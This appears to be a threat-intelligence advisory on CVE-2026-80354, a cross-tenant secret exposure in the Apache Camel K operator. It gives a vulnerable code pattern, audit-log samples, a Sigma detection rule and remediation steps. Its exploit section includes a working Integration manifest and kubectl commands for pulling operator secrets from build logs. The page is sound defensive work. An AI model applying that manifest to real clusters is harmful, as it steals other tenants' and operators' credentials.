Skip to content
Hermes Codex

CVE-2026-80354: Apache Camel K Operator Authorization Bypass via Maven Profiles ValueSources

HERMES

HERMES THREAT SCORE & CLOUD-NATIVE SECRET EXPOSURE

Target: Apache Camel K Operator — Multi-Tenant Integration Reconciler & Builder Trait
Confidence: 95%
88 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 16 / 20
Weaponization 17 / 20
Exposure 17 / 20
Prevalence 18 / 20
Impact 19 / 20
Exploit Maturity 17 / 20
Attack Chain Potential 19 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-80354 at 8.1 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) due to required tenant authentication (PR:L). Hermes Threat Score evaluates this at 88 (HIGH) within multi-tenant Kubernetes clusters and agentic integration environments. Camel K serves as the connective tissue integrating autonomous agents, tool APIs, and cloud services. Because the operator reconciler executes with cluster-wide privileges in the operator namespace, cross-namespace secret referencing allows compromised low-privilege agent pods or developer tenants to exfiltrate master cloud infrastructure credentials, database passwords, and LLM API keys (OpenAI, Anthropic, AWS Bedrock), breaking Kubernetes tenant isolation.

HASS

HASS AGENTIC SEVERITY & PRIVILEGE ESCALATION

Target: Multi-Tenant Agent Tool Orchestrator & Cluster-Wide Secret Management
Confidence: 95%
89 / 100
HIGH

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 18 / 20
Tool Access 19 / 20
Privilege 14 / 15
Persistence 12 / 15
External Impact 13 / 15
Propagation 13 / 15
⚖️ Divergence & Operational Rationale

When autonomous agents execute in multi-tenant environments with isolated Kubernetes namespaces, security boundaries rely on Kubernetes RBAC and namespace containment. Exploiting CVE-2026-80354 allows an agent with limited namespace scope to leverage the central Camel K operator to retrieve secrets from the privileged operator namespace. This grants the subverted agent unauthorized access to external SaaS connectors, model registry tokens, and cloud infrastructure APIs without direct cluster admin permissions.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-80354: Apache Camel K Operator Authorization Bypass via Maven Profiles ValueSourcesVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTApache Camel K
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Attack Surface

Section titled “1. Technical Context & Attack Surface”

In multi-tenant Kubernetes deployments, tenant workloads are restricted to dedicated namespaces (e.g., tenant-a, tenant-b). A central Camel K operator runs in a privileged namespace (e.g., camel-k or operators), equipped with high-privilege ServiceAccounts to manage cluster-wide builds, container images, and integration deployments.

┌─────────────────────────┐                            ┌───────────────────────────────┐
│ Tenant Namespace        │                            │ Operator Namespace            │
│ (tenant-a)              │                            │ (camel-k)                     │
│                         │                            │                               │
│ [Low-Privilege Pod/Dev] │                            │ [Camel K Operator Pod]        │
│          │              │                            │   - ClusterRole / High RBAC   │
│          ▼              │                            │   - Master Cloud Secrets      │
│ Applies Integration CR: │                            │   - LLM API Keys              │
│ traits:                 │                            │               ▲               │
│  builder:               │                            │               │               │
│   maven-profiles:       │                            │ Reconciler resolves           │
│    - secret:master-key  │ ─── Kubernetes API ──────> │ ValueSource in own namespace  │
│                         │                            │ without tenant RBAC check!    │
└─────────────────────────┘                            └───────────────────────────────┘
ParameterTechnical DetailOperational Impact
CVE IdentifierCVE-2026-80354Apache Camel Security Advisory / GHSA-3r9g-8jw6-fcwx
Vulnerability ClassAuthorization Bypass (CWE-639)Cross-tenant credential and secret exposure
Affected SubsystemCamel K Builder Trait (mavenProfiles ValueSources)Integration build reconciliation loop
Access RequirementsAuthenticated tenant (PR:L) with Integration CR creationStandard developer or tenant agent role
Scope ChangeScope Changed (S:C)Tenant namespace -> Operator namespace
ConfidentialityHigh (C:H)Full disclosure of cluster/operator secrets
Remediated ReleasesCamel K 2.9.3, 2.10.2, 2.11.0Upstream container and Helm releases

2. Root Cause Analysis & Architecture

Section titled “2. Root Cause Analysis & Architecture”

The vulnerability resides in the Go implementation of the Camel K Builder trait reconciler (pkg/trait/builder.go).

Flawed ValueSource Resolution Logic

Section titled “Flawed ValueSource Resolution Logic”

When an integration requests Maven build customization, the builder trait processes builder.maven-profiles entries. If an entry is configured as a ValueSource referencing a Kubernetes Secret or ConfigMap, the reconciler resolves the source to inject it into the Maven settings.xml file:

// Vulnerable logic pattern in Camel K builder trait reconciler
func (t *builderTrait) resolveMavenProfiles(e *Environment) error {
    for _, profile := range t.MavenProfiles {
        if profile.ValueSource != nil && profile.ValueSource.SecretKeyRef != nil {
            ref := profile.ValueSource.SecretKeyRef
            // FLAW: Defaulting to operator namespace when no namespace specified,
            // or retrieving secret using operator client without tenant impersonation!
            secretName := ref.Name
            secretKey := ref.Key


            secret, err := e.Client.CoreV1().Secrets(e.OperatorNamespace).Get(e.Ctx, secretName, metav1.GetOptions{})
            if err == nil {
                // Secret data injected into Maven build configuration!
                profileData = string(secret.Data[secretKey])
            }
        }
    }
    return nil
}

Because the operator uses its own privileged Kubernetes client to fetch the secret without checking the permissions of the user or ServiceAccount that created the Integration resource, the tenant bypasses namespace confinement entirely.

sequenceDiagram
    autonumber
    actor Tenant as "Tenant User / Compromised Agent"
    participant KubeAPI as "Kubernetes API Server"
    participant Operator as "Camel K Operator (Namespace: camel-k)"
    participant Secrets as "Kube Secrets Store"
    participant BuildKit as "Kaniko / Buildah Container"


    Tenant->>KubeAPI: "POST /apis/camel.apache.org/v1/namespaces/tenant-a/integrations"
    Note over Tenant,KubeAPI: "Integration CR contains trait builder.maven-profiles referencing secret:cloud-master-token"
    KubeAPI-->>Tenant: "201 Created (Integration accepted)"
    KubeAPI->>Operator: "Reconcile Integration event triggered"
    Operator->>Operator: "Process traits -> Builder Trait"
    Note over Operator: "Resolves secret in operator namespace (camel-k)"
    Operator->>Secrets: "GET /api/v1/namespaces/camel-k/secrets/cloud-master-token"
    Secrets-->>Operator: "Return secret data (Operator RBAC allows)"
    Operator->>BuildKit: "Spawn build pod with secret injected in Maven settings.xml"
    Note over Operator,BuildKit: "Build logs or integration artifact leak secret value"
    Tenant->>KubeAPI: "GET /apis/camel.apache.org/v1/namespaces/tenant-a/builds"
    KubeAPI-->>Tenant: "Build logs display rendered secret / Token extracted!"

3. Exploit Execution Flow

Section titled “3. Exploit Execution Flow”

An attacker with standard tenant access can extract high-privilege credentials:

  1. Target Identification: The attacker enumerates common operator secret names in Camel K deployments (e.g., camel-k-registry-secret, aws-creds, llm-api-keys, database-credentials).
  2. Integration Manifest Crafting: The attacker creates an Integration CR in their authorized namespace (tenant-a): 
    apiVersion: camel.apache.org/v1
    kind: Integration
    metadata:
      name: exfiltrator
      namespace: tenant-a
    spec:
      traits:
        builder:
          configuration:
            mavenProfiles:
              - "secret:camel-k-registry-secret/.dockerconfigjson"
      sources:
        - name: Exfiltrate.java
          content: |
            import org.apache.camel.builder.RouteBuilder;
            public class Exfiltrate extends RouteBuilder {
                public void configure() {
                    from("timer:tick?period=5000")
                        .log("Executing in tenant namespace");
                }
            }
  3. CR Submission: The attacker applies the manifest via kubectl apply -f integration.yaml or a tenant service account token.
  4. Operator Reconciliation: The Camel K operator reconciles the CR, retrieves .dockerconfigjson from the camel-k namespace, and renders it into the integration’s build configuration.
  5. Secret Exfiltration: The attacker inspects the build output (kubectl logs -n tenant-a -l camel.apache.org/build=exfiltrator) or the created IntegrationKit, extracting the registry credentials or API tokens.

4. Forensic Investigation & Telemetry

Section titled “4. Forensic Investigation & Telemetry”

Kubernetes Audit Log Analysis

Section titled “Kubernetes Audit Log Analysis”

Inspect Kubernetes API audit logs for unauthorized Integration creation events containing cross-namespace trait references:

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "verb": "create",
  "user": {
    "username": "system:serviceaccount:tenant-a:agent-worker"
  },
  "objectRef": {
    "resource": "integrations",
    "namespace": "tenant-a",
    "name": "exfiltrator",
    "apiGroup": "camel.apache.org"
  },
  "requestObject": {
    "spec": {
      "traits": {
        "builder": {
          "configuration": {
            "mavenProfiles": ["secret:camel-k-registry-secret/.dockerconfigjson"]
          }
        }
      }
    }
  }
}

Operator Log Telemetry

Section titled “Operator Log Telemetry”

Review Camel K operator logs (kubectl logs -n camel-k -l app=camel-k) for lines where the builder trait resolves secrets for foreign integrations:

{"level":"info","ts":"2026-09-20T04:12:00Z","logger":"camel-k.trait.builder","msg":"Resolving maven profile secret camel-k-registry-secret for integration tenant-a/exfiltrator"}

5. Detection Engineering

Section titled “5. Detection Engineering”
title: Camel K Cross-Namespace Secret Reference in Integration Trait
id: 7c4b1820-21a4-49c8-8035-4cve2026camel
status: experimental
description: Detects Kubernetes audit log events where an Integration CR configures builder mavenProfiles traits referencing secrets from non-tenant scopes.
logsource:
  product: kubernetes
  service: audit
detection:
  selection:
    verb:
      - create
      - update
      - patch
    objectRef.resource: 'integrations'
    objectRef.apiGroup: 'camel.apache.org'
    requestObject.spec.traits.builder.configuration.mavenProfiles|contains: 'secret:'
  condition: selection
level: high
tags:
  - attack.credential_access
  - attack.t1552.007
  - cve.2026-80354

6. Remediation & Hardening Strategy

Section titled “6. Remediation & Hardening Strategy”

Immediate Remediation

Section titled “Immediate Remediation”
  1. Upgrade Camel K Operator: Deploy Camel K 2.9.3, 2.10.2, or 2.11.0 immediately. In the patched versions, the reconciler strictly enforces that ValueSource secrets must exist within the target integration’s own namespace, rejecting references that cross namespace boundaries.
  2. Apply Admission Control: If an immediate operator upgrade cannot be scheduled, deploy the Kyverno or OPA Gatekeeper policy shown above to block any Integration manifests containing secret: references within mavenProfiles.

Defense-in-Depth Hardening

Section titled “Defense-in-Depth Hardening”
  • Isolate Operator Secrets: Move high-value infrastructure secrets (such as cloud provider master tokens or production database credentials) outside the operator namespace into an external secret store (e.g., HashiCorp Vault, AWS Secrets Manager) using external secrets operators with ephemeral token generation.
  • Tenant RBAC Restrictions: Ensure tenant ServiceAccounts only have permissions to manage Integrations through validated admission controllers that strip sensitive trait overrides.

7. Strategic Cross-References

Section titled “7. Strategic Cross-References”
CVE-2026-80351: Apache Camel K Eval Injection Improper neutralization of directives in dynamically evaluated code in Camel K.
CVE-2026-80352: Apache Camel K YAML Code Injection Code injection vulnerability in custom resource resolution within Apache Camel K.
Apache Camel K Software Intelligence Vulnerability trends, EPSS distributions, and architecture profile for Camel K.
Least-Privilege Capability Security in AI Agents Defense architectures for compartmentalizing autonomous agent credentials and tool access.

8. Sources & References

Section titled “8. Sources & References”